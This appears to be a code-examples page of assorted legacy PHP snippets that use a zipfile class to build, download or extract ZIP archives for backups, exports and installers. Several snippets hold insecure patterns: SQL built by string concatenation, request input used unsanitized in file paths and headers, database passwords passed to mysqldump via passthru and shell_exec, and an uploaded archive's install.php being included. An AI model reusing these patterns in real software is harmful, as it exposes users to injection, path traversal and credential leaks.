.. use the functions add_dir() and add_file() to build the zip file; see example code below by Eric Mueller http://www.themepark.com v1.1 9-20-01 - added comments to example v1.0 2-5-01 initial version with: - class appearance - add_file() and file() methods - gzcompress() output hacking by Denis O.Philippov, webmaster@atlant.ru, http://www.atlant.ru official ZIP file format: http://www.pkware.com/appnote.txt
 public function index()
 {
     $filenamezip = APP_ROOT_PATH . "public/mobile_goods_down_region_conf.zip";
     if (!file_exists($filenamezip)) {
         $sql = "select id,pid,name,'' as postcode,'' as py from " . DB_PREFIX . "delivery_region";
         $list = $GLOBALS['db']->getAll($sql);
         $root = array();
         $root['return'] = 1;
         $region_list = "";
         foreach ($list as $item) {
             $sql = "insert into region_conf(id,pid,name,postcode,py) values('{$item['id']}','{$item['pid']}','{$item['name']}','{$item['postcode']}','{$item['py']}');";
             if ($region_list == "") {
                 $region_list = $sql;
             } else {
                 $region_list = $region_list . "\n" . $sql;
             }
         }
         $ziper = new zipfile();
         $ziper->addFile($region_list, "region_conf.txt");
         $ziper->output($filenamezip);
     }
     $root = array();
     $root['return'] = 1;
     if (file_exists($filenamezip)) {
         $root['file_exists'] = 1;
     } else {
         $root['file_exists'] = 0;
     }
     $sql = "select count(*) as num from " . DB_PREFIX . "delivery_region";
     $root['region_num'] = $GLOBALS['db']->getOne($sql);
     //配置地区数量
     $root['file_url'] = get_domain() . APP_ROOT . "/../public/mobile_goods_down_region_conf.zip";
     $root['file_size'] = abs(filesize($filenamezip));
     output($root);
 }
function makezip($zipname, $ad_dir)
{
    $zipfilename = $zipname;
    $zip_subfolder = '';
    $ad_dir = $ad_dir;
    // form is posted, handle it
    $zipfile = new zipfile();
    // generate _settings into zip file
    //$zipfile ->addFile( stripcslashes( $settings ), $zip_subfolder . '/_settings.php' );
    if ($handle = opendir($ad_dir)) {
        while (false !== ($file = readdir($handle))) {
            if (!is_dir($file) && $file != "." && $file != "..") {
                $f_tmp = @fopen($ad_dir . '/' . $file, 'r');
                if ($f_tmp) {
                    $dump_buffer = fread($f_tmp, filesize($ad_dir . '/' . $file));
                    $zipfile->addFile($dump_buffer, $zip_subfolder . '/' . $file);
                    fclose($f_tmp);
                }
            }
        }
        $dump_buffer = $zipfile->file();
        // write the file to disk:
        $file_pointer = fopen($zipfilename, 'w');
        if ($file_pointer) {
            fwrite($file_pointer, $dump_buffer, strlen($dump_buffer));
            fclose($file_pointer);
        }
        // response zip archive to browser:
        header('Pragma: public');
        header('Content-type: application/zip');
        header('Content-length: ' . strlen($dump_buffer));
        header('Content-Disposition: attachment; filename="' . $zipfilename . '"');
        echo $dump_buffer;
    }
}
Exemple #3
0
 /**
  * Create ZIP archive.
  *
  * @param   array    $files  An array of files to put in archive.
  * @param   boolean  $save   Whether to save zip data to file or not?
  * @param   string   $name   Name with path to store archive file.
  *
  * @return  mixed  Zip data if $save is FALSE, or boolean value if $save is TRUE
  */
 public static function createZip($files, $save = false, $name = '')
 {
     if (is_array($files) and count($files)) {
         // Initialize variables
         $zip = new zipfile();
         $root = str_replace('\\', '/', JPATH_ROOT);
         foreach ($files as $file) {
             // Add file to zip archive
             if (is_array($file)) {
                 foreach ($file as $k => $v) {
                     $zip->create_file($v, $k);
                 }
             } elseif (is_string($file) and is_readable($file)) {
                 // Initialize file path
                 $file = str_replace('\\', '/', $file);
                 $path = str_replace($root, '', $file);
                 $zip->create_file(JFile::read($file), $path);
             }
         }
         // Save zip archive to file system
         if ($save) {
             if (!JFolder::create($dest = dirname($name))) {
                 throw new Exception(JText::sprintf('JSN_EXTFW_GENERAL_FOLDER_NOT_EXISTS', $dest));
             }
             if (!JFile::write($name, $zip->zipped_file())) {
                 throw new Exception(JText::sprintf('JSN_EXTFW_GENERAL_CANNOT_WRITE_FILE', $name));
             }
             return true;
         } else {
             return $zip->zipped_file();
         }
     }
     return false;
 }
Exemple #4
0
 function zipFiles($zipname, $files)
 {
     $zipfile = new zipfile();
     //	        $zipfile->add_dir("files/");
     for ($f = 0; $f < count($files); $f++) {
         $filename = $files[$f][0];
         $filedata = $files[$f][1];
         $zipfile->add_file($filedata, $filename);
     }
     File::throwFile($zipname, $zipfile->file());
 }
Exemple #5
0
function get_projects_archive($projects, $shedule)
{
    require_once "zip.lib.php";
    $zipfile = new zipfile();
    foreach ($projects as $fname => $project) {
        $fname = 'Projects/' . $fname;
        $zipfile->addFile($project, $fname);
    }
    $zipfile->addFile($shedule, 'shedule.xml');
    header('Content-type: application/octet-stream');
    header('Content-Disposition: attachment; filename=projects-' . date("d-m-Y-H-i-s") . '.zip');
    echo $zipfile->file();
    $zipfile->close();
}
Exemple #6
0
 function restore($log_id, $files_dir = false)
 {
     zipfile::read(SYS_ROOT . 'var/trash/' . $log_id . '_conf.zip');
     zipfile::extract(SYS_ROOT . 'conf/');
     if ($files_dir) {
         zipfile::read(SYS_ROOT . 'var/trash/' . $log_id . '_files.zip');
         zipfile::extract($files_dir);
     }
     dump::restore(SYS_ROOT . 'var/trash/' . $log_id . '_base.zip');
 }
/**
 * Implementation of hook_page.
 * Zip current file/folder 
 */
function ft_zip_page($act)
{
    global $ft;
    if ($act == 'zip') {
        $_REQUEST['file'] = trim(ft_stripslashes($_REQUEST['file']));
        // nom de fichier/repertoire
        $zip = new zipfile();
        if ($ft["plugins"]["zip"]["filebuffer"]) {
            $zip->setOutFile($ft["plugins"]["zip"]["filebuffer"]);
        }
        $substr_base = strlen(ft_get_dir()) + 1;
        foreach (ft_zip_getfiles(ft_get_dir() . '/' . $_REQUEST['file']) as $file) {
            $filename = substr($file, $substr_base);
            $filesize = filesize($file);
            if ($filesize > 0) {
                $fp = fopen($file, 'r');
                $content = fread($fp, $filesize);
                fclose($fp);
            } else {
                $content = '';
            }
            $zip->addfile($content, $filename);
        }
        if ($ft["plugins"]["zip"]["filebuffer"]) {
            $zip->finish();
            $filesize = filesize($ft["plugins"]["zip"]["filebuffer"]);
        } else {
            $archive = $zip->file();
            $filesize = strlen($archive);
        }
        header('Content-Type: application/x-zip');
        header('Content-Disposition: inline; filename="' . $_REQUEST['file'] . '.zip"');
        header('Content-Length: ' . $filesize);
        if ($ft["plugins"]["zip"]["filebuffer"]) {
            readfile($ft["plugins"]["zip"]["filebuffer"]);
            unlink($ft["plugins"]["zip"]["filebuffer"]);
        } else {
            echo $archive;
        }
        exit;
    }
}
/**
 * Minimalistic creator of OASIS OpenDocument
 *
 * @param   string      desired MIME type
 * @param   string      document content
 *
 * @return  string      OASIS OpenDocument data
 *
 * @access  public
 */
function PMA_createOpenDocument($mime, $data)
{
    $zipfile = new zipfile();
    $zipfile->addFile($mime, 'mimetype');
    $zipfile->addFile($data, 'content.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<office:document-meta ' . 'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' . 'xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" ' . 'office:version="1.0">' . '<office:meta>' . '<meta:generator>phpMyAdmin ' . PMA_VERSION . '</meta:generator>' . '<meta:initial-creator>phpMyAdmin ' . PMA_VERSION . '</meta:initial-creator>' . '<meta:creation-date>' . strftime('%Y-%m-%dT%H:%M:%S') . '</meta:creation-date>' . '</office:meta>' . '</office:document-meta>', 'meta.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<office:document-styles ' . $GLOBALS['OpenDocumentNS'] . 'office:version="1.0">' . '<office:font-face-decls>' . '<style:font-face style:name="Arial Unicode MS" svg:font-family="\'Arial Unicode MS\'" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Sans1" svg:font-family="\'DejaVu Sans\'" style:font-pitch="variable"/>' . '<style:font-face style:name="HG Mincho Light J" svg:font-family="\'HG Mincho Light J\'" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Serif" svg:font-family="\'DejaVu Serif\'" style:font-family-generic="roman" style:font-pitch="variable"/>' . '<style:font-face style:name="Thorndale" svg:font-family="Thorndale" style:font-family-generic="roman" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Sans" svg:font-family="\'DejaVu Sans\'" style:font-family-generic="swiss" style:font-pitch="variable"/>' . '</office:font-face-decls>' . '<office:styles>' . '<style:default-style style:family="paragraph">' . '<style:paragraph-properties fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>' . '<style:text-properties style:use-window-font-color="true" style:font-name="DejaVu Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:font-name-asian="DejaVu Sans1" style:font-size-asian="12pt" style:language-asian="none" style:country-asian="none" style:font-name-complex="DejaVu Sans1" style:font-size-complex="12pt" style:language-complex="none" style:country-complex="none" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>' . '</style:default-style>' . '<style:style style:name="Standard" style:family="paragraph" style:class="text"/>' . '<style:style style:name="Text_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">' . '<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0835in"/>' . '</style:style>' . '<style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_body" style:class="text">' . '<style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" fo:keep-with-next="always"/>' . '<style:text-properties style:font-name="DejaVu Sans" fo:font-size="14pt" style:font-name-asian="DejaVu Sans1" style:font-size-asian="14pt" style:font-name-complex="DejaVu Sans1" style:font-size-complex="14pt"/>' . '</style:style>' . '<style:style style:name="Heading_1" style:display-name="Heading 1" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_body" style:class="text" style:default-outline-level="1">' . '<style:text-properties style:font-name="Thorndale" fo:font-size="24pt" fo:font-weight="bold" style:font-name-asian="HG Mincho Light J" style:font-size-asian="24pt" style:font-weight-asian="bold" style:font-name-complex="Arial Unicode MS" style:font-size-complex="24pt" style:font-weight-complex="bold"/>' . '</style:style>' . '<style:style style:name="Heading_2" style:display-name="Heading 2" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_body" style:class="text" style:default-outline-level="2">' . '<style:text-properties style:font-name="DejaVu Serif" fo:font-size="18pt" fo:font-weight="bold" style:font-name-asian="DejaVu Sans1" style:font-size-asian="18pt" style:font-weight-asian="bold" style:font-name-complex="DejaVu Sans1" style:font-size-complex="18pt" style:font-weight-complex="bold"/>' . '</style:style>' . '</office:styles>' . '<office:automatic-styles>' . '<style:page-layout style:name="pm1">' . '<style:page-layout-properties fo:page-width="8.2673in" fo:page-height="11.6925in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="1in" fo:margin-bottom="1in" fo:margin-left="1.25in" fo:margin-right="1.25in" style:writing-mode="lr-tb" style:footnote-max-height="0in">' . '<style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:adjustment="left" style:rel-width="25%" style:color="#000000"/>' . '</style:page-layout-properties>' . '<style:header-style/>' . '<style:footer-style/>' . '</style:page-layout>' . '</office:automatic-styles>' . '<office:master-styles>' . '<style:master-page style:name="Standard" style:page-layout-name="pm1"/>' . '</office:master-styles>' . '</office:document-styles>', 'styles.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0">' . '<manifest:file-entry manifest:media-type="' . $mime . '" manifest:full-path="/"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>' . '</manifest:manifest>', 'META-INF/manifest.xml');
    return $zipfile->file();
}
Exemple #9
0
 function installApp()
 {
     if ($_FILES['app']['name']) {
         if ($_FILES['app']['type'] != 'application/zip') {
             s::set('ERRORS', '<ul><li>Неверный формат архива приложения.</li></ul>');
         } else {
             $arr = explode('.', $_FILES['app']['name']);
             if (count($arr) < 5) {
                 s::set('ERRORS', '<ul><li>Неверный формат архива приложения.</li></ul>');
             } else {
                 define('INSTALL_APP', $arr[0]);
                 define('INSTALL_APP_VERSION', $arr[1] . '.' . $arr[2] . '.' . $arr[3]);
                 files::fullRemoveDir(SYS_ROOT . 'var/tmp/apps/');
                 $path = SYS_ROOT . 'var/tmp/apps/';
                 zipfile::read($_FILES['app']['tmp_name']);
                 zipfile::extract($path);
                 $install_file = $path . 'install.php';
                 if (!file_exists($install_file)) {
                     s::set('ERRORS', '<ul><li>Не найден инсталляционый файл приложения.</li></ul>');
                 } else {
                     include $install_file;
                     // copy lang files
                     $tmp_lang_dir = SYS_ROOT . 'var/tmp/apps/langs/';
                     $lang_dir = SYS_ROOT . 'langs/admin/';
                     if (file_exists($lang_dir)) {
                         $array = files::getFiles($tmp_lang_dir);
                         foreach ($array as $v) {
                             if (!file_exists($lang_dir . $v)) {
                                 copy($tmp_lang_dir . $v, $lang_dir . $v);
                             } else {
                                 $lang = ini::parse($tmp_lang_dir . $v);
                                 ini::parse($lang_dir . $v);
                                 ini::add($lang);
                                 ini::write();
                             }
                         }
                     }
                     // copy app files
                     $dir = SYS_ROOT . 'var/tmp/apps/' . INSTALL_APP . '/';
                     $new_dir = SYS_ROOT . 'apps/' . INSTALL_APP . '/';
                     files::copyDir($dir, $new_dir);
                     // clear tmp
                     files::fullRemoveDir(SYS_ROOT . 'var/tmp/apps/');
                     headers::app('manage');
                 }
             }
         }
     }
 }
Exemple #10
0
 function create($description)
 {
     global $addslashes, $moduleFactory;
     if ($this->getNumAvailable() >= AT_COURSE_BACKUPS) {
         return FALSE;
     }
     $timestamp = time();
     $zipfile = new zipfile();
     $package_identifier = VERSION . "\n\n\n" . 'Do not change the first line of this file it contains the ATutor version this backup was created with.';
     $zipfile->add_file($package_identifier, 'atutor_backup_version', $timestamp);
     // backup course properties. ONLY BANNER FOR NOW.
     require_once AT_INCLUDE_PATH . 'classes/CSVExport.class.php';
     $CSVExport = new CSVExport();
     $now = time();
     $sql = 'SELECT banner 
           FROM ' . TABLE_PREFIX . 'courses 
          WHERE course_id=' . $this->course_id;
     $properties = $CSVExport->export($sql, $course_id);
     $zipfile->add_file($properties, 'properties.csv', $now);
     // backup modules
     $modules = $moduleFactory->getModules(AT_MODULE_STATUS_ENABLED | AT_MODULE_STATUS_DISABLED);
     $keys = array_keys($modules);
     foreach ($keys as $module_name) {
         $module =& $modules[$module_name];
         $module->backup($this->course_id, $zipfile);
     }
     $zipfile->close();
     $system_file_name = md5($timestamp);
     if (!is_dir(AT_BACKUP_DIR)) {
         @mkdir(AT_BACKUP_DIR);
     }
     if (!is_dir(AT_BACKUP_DIR . $this->course_id)) {
         @mkdir(AT_BACKUP_DIR . $this->course_id);
     }
     $zipfile->write_file(AT_BACKUP_DIR . $this->course_id . DIRECTORY_SEPARATOR . $system_file_name . '.zip');
     $row['description'] = $addslashes($description);
     $row['contents'] = addslashes(serialize($table_counters));
     $row['system_file_name'] = $system_file_name;
     $row['file_size'] = $zipfile->get_size();
     $row['file_name'] = $this->generateFileName();
     $this->add($row);
     return TRUE;
 }
Exemple #11
0
     $repair_tables_link = basename(ADMIN_PATH) . '?cp=r_repair&amp;case=tables&amp;' . $GET_FORM_KEY;
     $status_file_link = basename(ADMIN_PATH) . '?cp=r_repair&amp;case=status_file&amp;' . $GET_FORM_KEY;
     $stylee = "admin_repair";
     break;
     // We, I mean developrts and support team anywhere, need sometime
     // some inforamtion about the status of Kleeja .. this will give
     // a zip file contain those data ..
 // We, I mean developrts and support team anywhere, need sometime
 // some inforamtion about the status of Kleeja .. this will give
 // a zip file contain those data ..
 case 'status_file':
     if (isset($_GET['_ajax_'])) {
         exit('Ajax is forbidden here !');
     }
     include PATH . 'includes/plugins.php';
     $zip = new zipfile();
     #kleeja version
     $zip->create_file(KLEEJA_VERSION, 'kleeja_version.txt');
     #grab configs
     $d_config = $config;
     unset($d_config['h_key'], $d_config['ftp_info']);
     $zip->create_file(var_export($d_config, true), 'config_vars.txt');
     unset($d_config);
     #php info
     ob_start();
     @phpinfo();
     $phpinfo = ob_get_contents();
     ob_end_clean();
     $zip->create_file($phpinfo, 'phpinfo.html');
     unset($phpinfo);
     #config file data
 public function sendfile()
 {
     $themename = isset($_POST['themename']) ? trim($_POST['themename']) : '';
     if ($themename != '') {
         $themename = tlinkgenerator::i()->filterfilename($themename);
     }
     if ($themename == '') {
         $themename = time();
     }
     $path = "themes/generator-{$themename}/";
     litepublisher::$classes->include_file(litepublisher::$paths->libinclude . 'zip.lib.php');
     $zip = new zipfile();
     $themedir = litepublisher::$paths->plugins . 'themegenerator' . DIRECTORY_SEPARATOR . $this->type . DIRECTORY_SEPARATOR;
     $args = new targs();
     $colors = "[themecolors]\nthemename = \"{$themename}\"\n";
     foreach ($this->colors as $name => $value) {
         $colors .= "{$name} = \"{$value}\"\n";
         $args->{$name} = $value;
     }
     foreach (array('headerurl', 'logourl') as $name) {
         if (strbegin($this->colors[$name], 'http://')) {
             $basename = substr($this->colors[$name], strrpos($this->colors[$name], '/') + 1);
             $filename = litepublisher::$paths->files . 'themegen' . DIRECTORY_SEPARATOR . $basename;
             $zip->addFile(file_get_contents($filename), $path . 'images/' . $basename);
             $args->{$name} = 'images/' . $basename;
         }
     }
     $res = $this->res;
     $css = strtr(tfilestorage::getfile($res . 'scheme.tml'), $args->data);
     $zip->addFile($colors, $path . 'colors.ini');
     $filelist = tfiler::getfiles($themedir);
     foreach ($filelist as $filename) {
         $content = tfilestorage::getfile($themedir . $filename);
         switch ($filename) {
             case 'style.css':
                 $content .= $css;
                 break;
             case 'about.ini':
                 $content = str_replace('name = generator', "name = generator-{$themename}", $content);
                 break;
         }
         $zip->addFile($content, $path . $filename);
     }
     $result = $zip->file();
     if (ob_get_level()) {
         @ob_end_clean();
     }
     header('HTTP/1.1 200 OK', true, 200);
     header('Content-type: application/octet-stream');
     header('Content-Disposition: attachment; filename=generator.theme.' . $themename . '.zip');
     header('Content-Length: ' . strlen($result));
     header('Last-Modified: ' . date('r'));
     Header('Cache-Control: no-cache, must-revalidate');
     Header('Pragma: no-cache');
     echo $result;
     exit;
 }
Exemple #13
0
			list($dbhost, $dbport) = explode(':', $dbhost);

			$query = $db->query("SHOW VARIABLES LIKE 'basedir'");
			list(, $mysql_base) = $db->fetch_array($query, MYSQL_NUM);

			$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
			@unlink($dumpfile);

			$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
			@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="******" --password="******" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);

			if(@file_exists($dumpfile)) {

				if($usezip) {
					require_once DISCUZ_ROOT.'admin/zip.func.php';
					$zip = new zipfile();
					$zipfilename = $backupfilename.'.zip';
					$fp = fopen($dumpfile, "r");
					$content = @fread($fp, filesize($dumpfile));
					fclose($fp);
					$zip->addFile($idstring."# <?exit();?>\n ".$setnames."\n #".$content, basename($dumpfile));
					$fp = fopen($zipfilename, 'w');
					@fwrite($fp, $zip->file());
					fclose($fp);
					@unlink($dumpfile);
					@touch('./forumdata/'.$backupdir.'/index.htm');
					$filename = $backupfilename.'.zip';
					unset($sqldump, $zip, $content);
					cpmsg('database_export_zip_succeed');
				} else {
					if(@is_writeable($dumpfile)) {
Exemple #14
0
$file_id = array();
for ($i = 0; $i < sizeof($ids); $i++) {
    //validar que existan
    $r = InstanciasController::BuscarPorId($ids[$i]);
    if (is_null($r)) {
        $page->addComponent("La instancia " . $ids[$i] . " no existe");
        $page->render();
        exit;
    }
}
$result = InstanciasController::Respaldar_Instancias($ids);
//Respaldar_Instancias recibe como params un array
if (strlen($result) > 0) {
    die("<html><head><meta HTTP-EQUIV='REFRESH' content='3; url=instancias.bd.php'><title>Error al descargar, perimisos</title></head><body><h1><center>" . $result . "</center></h1></body></html>");
}
$f = new zipfile();
for ($i = 0; $i < sizeof($ids); $i++) {
    //$f->add_file(file_get_contents($files[$i]), $file_id[$i] . ".sql");
    $final_path = str_replace("server", "static_content/db_backups", POS_PATH_TO_SERVER_ROOT);
    $dbs_instance = trim(shell_exec("ls -lat -m1 " . $final_path . "| grep " . $ids[$i] . ".sql"));
    Logger::log("Respaldos encontrados: " . $dbs_instance);
    /*dbs_instance almacena una cadena con un listado donde se encuentran archivos que tengan la teminacion
    	con el id de la instancia y .sql, ademas de que la lista viene ordenada de mas reciente a antiguo
    	la lista seria como lo siguiente:
    	1353617611_pos_instance_82.sql 1353608687_pos_instance_82.sql 1353608206_pos_instance_82.sql 1353608191_pos_instance_82.sql
    	en found se coloca un array y en cada posicion el nombre de cada respaldo
    	*/
    $found = preg_split("/[\\s,]+/", $dbs_instance, -1, PREG_SPLIT_NO_EMPTY);
    //Logger::log("No archivos: ".count($found));
    if (count($found) < 1) {
        Logger::log("Error al restaurar la instancias " . $ids[$i] . ", no hay un respaldo existente");
    for ($i = 0; $i < count($company_name); $i++) {
        $str_company_ids .= $company_name[$i] . ", ";
    }
    $str_company_ids = substr($str_company_ids, 0, strlen($str_company_ids) - 2);
    $str_where_condition = "where userId in ({$str_company_ids})";
}
if ($str_where_condition == "") {
    $str_where_condition = " where 1 ";
} else {
    $str_where_condition .= " and gateway_id = -1";
}
$str_qry_company = "select * from cs_companydetails {$str_where_condition} order by companyname";
//$str_qry_company ="select * from cs_companydetails where userId = $company_name";
// print($str_qry_company);
$rst_qry_company = mysql_query($str_qry_company);
$zipfile = new zipfile();
while ($arr_qry_company = mysql_fetch_array($rst_qry_company)) {
    $str_company_name = $arr_qry_company['companyname'];
    $company_id = $arr_qry_company['userId'];
    $i_max_file_size_MB = 3;
    $dir_company_name = "Documents/" . func_replace_invalid_literals($str_company_name);
    //$dir_company_name = "Documents/";
    //print("company= ".$dir_company_name);
    // add the subdirectory ... important!
    if ($is_app != "") {
        $str_legal_company_name = $arr_qry_company['legal_name'];
        $company_type = $arr_qry_company['company_type'];
        $other_company_type = $arr_qry_company['other_company_type'];
        if ($company_type == "other") {
            $company_type = $other_company_type;
        }
Exemple #16
0
     $result = mysql_query($sql, $db);
     while ($row = mysql_fetch_assoc($result)) {
         $msg = _AT('from') . ': ' . $my_display_name . "\r\n";
         $msg .= _AT('to') . ': ' . get_display_name($row['from_member_id']) . "\r\n";
         $msg .= _AT('subject') . ': ' . $row['subject'] . "\r\n";
         $msg .= _AT('date') . ': ' . $row['date_sent'] . "\r\n";
         $msg .= _AT('body') . ': ' . $row['body'] . "\r\n";
         $msg .= "\r\n=============================================\r\n\r\n";
         $sent_messages .= $msg;
     }
 }
 if ($inbox_messages && $sent_messages) {
     // add the two to a zip file
     require AT_INCLUDE_PATH . 'classes/zipfile.class.php';
     // for zipfile
     $zipfile = new zipfile();
     $zipfile->add_file($inbox_messages, _AT('inbox') . '.txt');
     $zipfile->add_file($sent_messages, _AT('sent_messages') . '.txt');
     $zipfile->close();
     $zipfile->send_file(_AT('inbox') . '-' . date('Ymd'));
     exit;
 } else {
     if ($inbox_messages) {
         header('Content-Type: text/plain');
         header('Content-Disposition: attachment; filename="' . _AT('inbox') . '-' . date('Ymd') . '.txt"');
         header('Expires: 0');
         header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
         header('Pragma: public');
         header('Content-Length: ' . strlen($inbox_messages));
         echo $inbox_messages;
         exit;
Exemple #17
0
    }
    exit;
}
/**
 * Send the dump as a file...
 */
if (!empty($asfile)) {
    // Convert the charset if required.
    if ($output_charset_conversion) {
        $dump_buffer = PMA_convert_string($GLOBALS['charset'], $GLOBALS['charset_of_file'], $dump_buffer);
    }
    // Do the compression
    // 1. as a zipped file
    if ($compression == 'zip') {
        if (@function_exists('gzcompress')) {
            $zipfile = new zipfile();
            $zipfile->addFile($dump_buffer, substr($filename, 0, -4));
            $dump_buffer = $zipfile->file();
        }
    } elseif ($compression == 'bzip') {
        if (@function_exists('bzcompress')) {
            $dump_buffer = bzcompress($dump_buffer);
        }
    } elseif ($compression == 'gzip') {
        if (@function_exists('gzencode') && !@ini_get('zlib.output_compression')) {
            // without the optional parameter level because it bug
            $dump_buffer = gzencode($dump_buffer);
        }
    }
    /* If ve saved on server, we have to close file now */
    if ($save_on_server) {
Exemple #18
0
    $name = basename($id);
    // scope is limited to the inbox
    if ($id) {
        $id = $context['path_to_root'] . 'inbox/skins/' . $id;
    }
}
// process the provided file
if ($id) {
    // not yet a success
    $success = FALSE;
    // ensure file exists
    if (!is_readable($id)) {
        Logger::error(sprintf(i18n::s('Impossible to read %s.'), basename($id)));
    } elseif (isset($name) && preg_match('/\\.zip$/i', $name)) {
        include_once '../shared/zipfile.php';
        $zipfile = new zipfile();
        // extract archive components and save them in mentioned directory
        if ($count = $zipfile->explode($id, 'skins')) {
            $context['text'] .= '<p>' . sprintf(i18n::s('%d files have been extracted.'), $count) . "</p>\n";
            $success = TRUE;
        } else {
            Logger::error(sprintf(i18n::s('Nothing has been extracted from %s.'), $name));
        }
        // ensure we have the external library to explode other kinds of archives
    } elseif (!is_readable('../included/tar.php')) {
        Logger::error(i18n::s('Impossible to extract files.'));
    } else {
        include_once $context['path_to_root'] . 'included/tar.php';
        $handle = new Archive_Tar($id);
        if ($handle->extract($context['path_to_root'] . 'skins')) {
            $success = TRUE;
 /**
  * Create zip file which contains patch.xml and the files to be added, overwritten, altered; and force to download
  * @access  private
  * @return  true   if successful
  *          false  if errors
  * @author  Cindy Qi Li
  */
 function createZIP()
 {
     require_once AT_INCLUDE_PATH . '/classes/zipfile.class.php';
     $zipfile = new zipfile();
     $zipfile->add_file(file_get_contents($this->patch_xml_file), 'patch.xml');
     if (is_array($this->patch_info_array["files"])) {
         foreach ($this->patch_info_array["files"] as $file_info) {
             if ($file_info["upload_tmp_name"] != '') {
                 $file_name = preg_replace('/.php$/', '.new', $file_info['file_name']);
                 $zipfile->add_file(file_get_contents($file_info['upload_tmp_name']), $file_name);
             }
         }
     }
     $zipfile->send_file($this->patch_info_array["atutor_patch_id"]);
 }
 function process_backup($user)
 {
     include_once "class_zip.php";
     if ($_REQUEST['choice'] == 'yes') {
         //CREATE A UNIX TIMESTAMP
         $stamp = time();
         $date1 = gmdate("m-d-y", $stamp);
         $date = gmdate("Y-m-d H:i:s", $stamp);
         $title = "bu_" . $date . "_" . $user->user_name . ".zip";
         //CREATE THE BACKUP OF OUR DATABASE
         $filename = "../" . $this->config->file_dir . "/tmp_{$date1}.sql";
         passthru("mysqldump --opt -h" . $this->config->db_host . " -u" . $this->config->db_user . " -p" . $this->config->db_pass . " " . $this->config->db_name . " >{$filename}");
         //
         $zipfile = new zipfile();
         //READ THE CURRENT DIRECTORY WE ARE IN
         $dir_list = $this->read_dir("../");
         for ($i = 0; $i < count($dir_list); $i++) {
             if ($dir_list[$i]['type'] == "dir") {
                 //echo $dir_list[$i]['name']."<br/>";
                 $zipfile->add_dir($dir_list[$i]['name']);
             } else {
                 if ($dir_list[$i]['type'] == "file") {
                     //echo $dir_list[$i]['name']."<br/>";
                     $zipfile->add_file(file_get_contents($dir_list[$i]['loc'], false), $dir_list[$i]['name']);
                 }
             }
         }
         //REMOVE OUR TEMP SQL FILE
         unlink($filename);
         //CREATE THE SYSTEM NAME
         $sql = "SELECT id FROM " . $this->config->db_prefix . "_files ORDER BY id DESC";
         $results = $this->db->DB_Q_C($sql);
         $total_files = mysql_fetch_array($results);
         $total_files[0]++;
         $sys_name = "file_" . $total_files[0] . ".zip";
         //CREATE THE ZIP FILE
         $fileName = "../" . $this->config->file_dir . "/backup/{$sys_name}";
         $fd = fopen($fileName, "w");
         $out = fwrite($fd, $zipfile->file());
         fclose($fd);
         //
         $sql = "INSERT INTO `" . $this->config->db_prefix . "_files` VALUES ('', '{$title}', '{$sys_name}', '../" . $this->config->file_dir . "/backup/', 'zip', 'A backup of your site.')";
         $results = $this->db->DB_Q_C($sql);
         $lastid = mysql_insert_id();
         //LOG THE ACTION
         $sql = "INSERT INTO " . $this->config->db_prefix . "_object(create_date, create_who) \r\r\n          \t\t\t   VALUES('{$date}', '{$user->user_id}')";
         $results = $this->db->DB_Q_C($sql);
         $lastobjectid = mysql_insert_id();
         $sql = "INSERT INTO " . $this->config->db_prefix . "_logs(object_id, user_id, module_id, sub_module_id, record_id, action)\r\r\n                  VALUES({$lastobjectid}, '" . $user->user_id . "', '" . $this->id . "', 1, {$lastid}, 1)";
         $results = $this->db->DB_Q_C($sql);
         //
         $ret_code = array(1, $lastid);
     } else {
         $ret_code = array(-1, 0);
     }
     return $ret_code;
 }
Exemple #21
0
/**
 *
 */
function messages_mailAndDeleteMessages($messageIDs)
{
    global $db, $params;
    // get valid messages
    $IDs = implode($messageIDs, ", ");
    $sql = 'SELECT m.recipientID, m.senderID, p.name, m.messageSubject, m.messageText, ' . 'DATE_FORMAT(m.messageTime, "%d.%m.%Y %H:%i:%s") AS messageTime ' . 'FROM `Message` m ' . 'LEFT JOIN Player p ON ' . 'IF (m.recipientID = ' . $params->SESSION->user['playerID'] . ', m.senderID = p.playerID, m.recipientID = p.playerID) ' . 'WHERE messageID IN (' . $IDs . ') AND ' . 'IF (recipientDeleted = ' . $params->SESSION->user['playerID'] . ', recipientDeleted = 0, senderDeleted = 0)';
